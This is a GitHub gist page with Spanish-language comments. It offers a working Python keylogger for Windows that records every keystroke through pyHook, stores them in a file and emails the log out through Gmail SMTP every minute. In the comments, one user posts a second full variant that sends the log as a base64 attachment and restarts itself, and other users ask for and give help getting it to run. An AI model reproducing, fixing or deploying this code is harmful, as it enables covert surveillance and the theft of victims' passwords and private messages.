Skip to content

Instantly share code, notes, and snippets.

@KelviNosse
Last active October 28, 2023 23:13
Show Gist options
  • Save KelviNosse/3166d6123bd26c066c462328bebcf0c0 to your computer and use it in GitHub Desktop.
Save KelviNosse/3166d6123bd26c066c462328bebcf0c0 to your computer and use it in GitHub Desktop.
import pyHook, pythoncom, sys, logging
import time, datetime
wait_seconds = 60
timeout = time.time() + wait_seconds
file_log = 'C:\\secret\\dat.txt'
def TimeOut():
if time.time() > timeout:
return True
else:
return False
def SendEmail(user, pwd, recipient, subject, body):
import smtplib
gmail_user= user
gmail_pass = pwd
FROM = user
TO = recipient if type(recipient) is list else [recipient]
SUBJECT = subject
TEXT = body
message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(gmail_user, gmail_pass)
server.sendmail(FROM, TO, message)
server.close()
print 'Correo enviado satisfactoriamente!'
except:
print 'Error al mandar correo!'
def FormatAndSendLogEmail():
with open(file_log, 'r+') as f:
actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
data = f.read().replace('\n', '')
data = 'Log capturado a las: '+ actualdate + '\n' + data
SendEmail('tucorreo@gmail.com', 'tuclave', 'tucorreo@gmail.com',
'Nuevo log - '+actualdate, data)
f.seek(0)
f.truncate()
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG,
format = '%(message)s')
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
while True:
if TimeOut():
FormatAndSendLogEmail()
timeout = time.time() + wait_seconds
pythoncom.PumpWaitingMessages()
@tuiiist
Copy link

tuiiist commented Dec 22, 2016

este script no termina de funcionar no?

@josuehck
Copy link

josuehck commented Jan 30, 2017

import pyHook, pythoncom, sys, logging
import time, datetime, os
from email.MIMEBase import MIMEBase
from email import encoders
import getpass

if os.path.exists('C:\users\'+getpass.getuser()+'\0.txt')==True:
file_log = 'C:\users\'+getpass.getuser()+'\0.txt'
print("windows 7")
elif os.path.exists('C:\users\'+getpass.getuser()+'\0.txt')==True:
file_log = 'C:\Documents and settings\'+getpass.getuser()+'\0.txt'
print("windows xp")

def SendEmail(user, pwd, recipient):
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
msg = MIMEMultipart()
msg['To'] = recipient
msg['From'] = user
msg['Subject'] = 'keylo~hck['+str(actualdate)+']'

#adjuntamos fichero de texto pero puede ser cualquer tipo de archivo
##cargamos el archivo a adjuntar
fp = open(file_log,'rb')
adjunto = MIMEBase('multipart', 'encrypted')
#lo insertamos en una variable
adjunto.set_payload(fp.read().replace('\n', ''))
fp.close()
#lo encriptamos en base64 para enviarlo
encoders.encode_base64(adjunto)
#agregamos una cabecera y le damos un nombre al archivo que adjuntamos puede ser el mismo u otro
adjunto.add_header('Content-Disposition', 'attachment', filename=file_log)
#adjuntamos al mensaje
msg.attach(adjunto)
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(user,pwd)
server.sendmail(user, recipient,msg.as_string())
server.close()
print 'Correo enviado satisfactoriamente!'
except:
print 'Error al mandar correo!'
u_p=open(file_log,"r+")
u_p.seek(0)
u_p.truncate()
u_p.close()
python = sys.executable
os.execl(python, python, * sys.argv)
def FormatAndSendLogEmail():
SendEmail('-----@gmail.com', 'pass', '------------@gmail.com')

def main(event):

logging.basicConfig(filename=file_log, level=logging.DEBUG,format = '%(message)s')
logging.log(10, chr(event.Ascii))
print (chr(event.Ascii))
return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = main
hooks_manager.HookKeyboard()

while True:

  if os.path.getsize(file_log)>3000:#peso del archivo
    FormatAndSendLogEmail()

  pythoncom.PumpWaitingMessages()

@BondGMR
Copy link

BondGMR commented Apr 10, 2017

Traceback (most recent call last):
File "C:\Users\BondGMR\Desktop\HackLife.pyw", line 62, in
pythoncom.PumpWaitingMessages()
NameError: name 'pythoncom' is not defined

Como hago?

@Sn4ck12
Copy link

Sn4ck12 commented Apr 12, 2017

Traceback (most recent call last):
File "C:\Users\famil\Desktop\KeyLogger.py", line 1, in
import pyHook, pythoncom, sys, logging
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in
import pywintypes
File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 124, in
import_pywin32_system_module("pywintypes", globals())
File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 98, in import_pywin32_system_module
raise ImportError("No system module '%s' (%s)" % (modname, filename))
ImportError: No system module 'pywintypes' (pywintypes27.dll)

@leo3206
Copy link

leo3206 commented Jul 9, 2017

Hola. Funciona casi todo excepto que al correo no me envía la información de data, solo aparece "Log capturado a las ... etc" con la fecha y hora pero sin las pulsaciones del teclado.
En el archivo dat.txt no almacena nada, aun sacandole f.seek y f.truncate que puede ser? el código está idéntico

@mizradev
Copy link

mizradev commented Aug 2, 2017

En la linea 54 del codigo tenes que llamar a la funcion de esta manera: hooks_manager.KeyDown = OnKeyboardEvent()
Asi si te guarda las pulsaciones del teclado, porque ahora si se ejecuta la funcion que captura las pulsaciones de teclas.

@Shiro-Nek0
Copy link

Shiro-Nek0 commented Aug 9, 2017

funciona osea me manda el correo pero el dat.txt sale con caracteres bugueados como esto [] pero junto en 1 caracter que puede ser??

@EduTheBoss
Copy link

da error en los caracteres del txt
slaen cosas como []

gracias salu2
https://gyazo.com/81cedf2f383c3b47907208dda818d986

@AdrianGuillermo10
Copy link

Hola, me sale error de syntax al momento de correr el codigo, copie y pegue todo tal y como estaba y no modifiqué nada, me pueden ayudar?

@AbelFuentes
Copy link

@yosoymizrra no permite mandar a llamar a la funcion... yo tambien pense que era asi. Y cuando lo intente me salio este error:

Traceback (most recent call last):
  File "Test.py", line 49, in <module>
    hooks_manager.KeyDown = OnKeyboardEvent()
TypeError: OnKeyboardEvent() missing 1 required positional argument: 'event'
Exception ignored in: <bound method HookManager.__del__ of <pyHook.HookManager.HookManager object at 0x03035E90>>
Traceback (most recent call last):
  File "C:\Python\lib\site-packages\pyHook\HookManager.py", line 279, in __del__
  File "C:\Python\lib\site-packages\pyHook\HookManager.py", line 299, in UnhookKeyboard
AttributeError: 'HookManager' object has no attribute 'keyboard_hook'

Alguna idea?

@P3dr0R00t
Copy link

Por qué razones me mandaria "error al mandar correo"?

@anastasia0512
Copy link

ayudaaa

Traceback (most recent call last):
File "C:\Users\Chino Sebas\Desktop\fotos\y\x\key.pyw", line 1, in
import pyHook, pythoncom, sys, logging
ImportError: No module named pyHook

@slayerderk
Copy link

Me sale este error!!! ayuda por favor

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\asd\log.pyw", line 49, in OnKeyboardEvent
format = '%(message)s')
File "C:\Python27\lib\logging_init_.py", line 1547, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging_init_.py", line 913, in init
StreamHandler.init(self, self.open())
File "C:\Python27\lib\logging_init
.py", line 943, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 2] No such file or directory: 'C:\secret\dat.txt'

@M1ndBlast
Copy link

ya lo chequeé, revisé y creo que todo irá bien
KeyLogger Python 3.7.0rc1

@GitHubNamed
Copy link

Me ha funcionado en un 80%. Algunos caracteres no aparecen.

Ej: Hare un texto corrido solo que le bajare a 20 segundos

Original:" Estoy intentando de hacer esto lo mas corrido posible para ver que caracteres sirven y cuales no sin tildes "
" no c e stoy intentando de hacer esto lo mas corrido posible para ver que caracteres sirven y cuales no sin tildes "
Ej 2: Original: Hola me llamo githubnamed y vengo a probar este keylogger para la materia
Mandado: c h ola me llamo githubnamed p y vend go a probar este keylogger para la materia .

Resumen: Es aceptable aunque puede mejorar como por ejemplo el código de M1ndBlast tiene algo que este no.
Y es mostrar el programa en el cual se esta escribiendo, sin embargo a la hora de capturar los datos es lo mas difícil puesto que lo captura con todo y id de la tecla.
Intentare combinar ambos.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment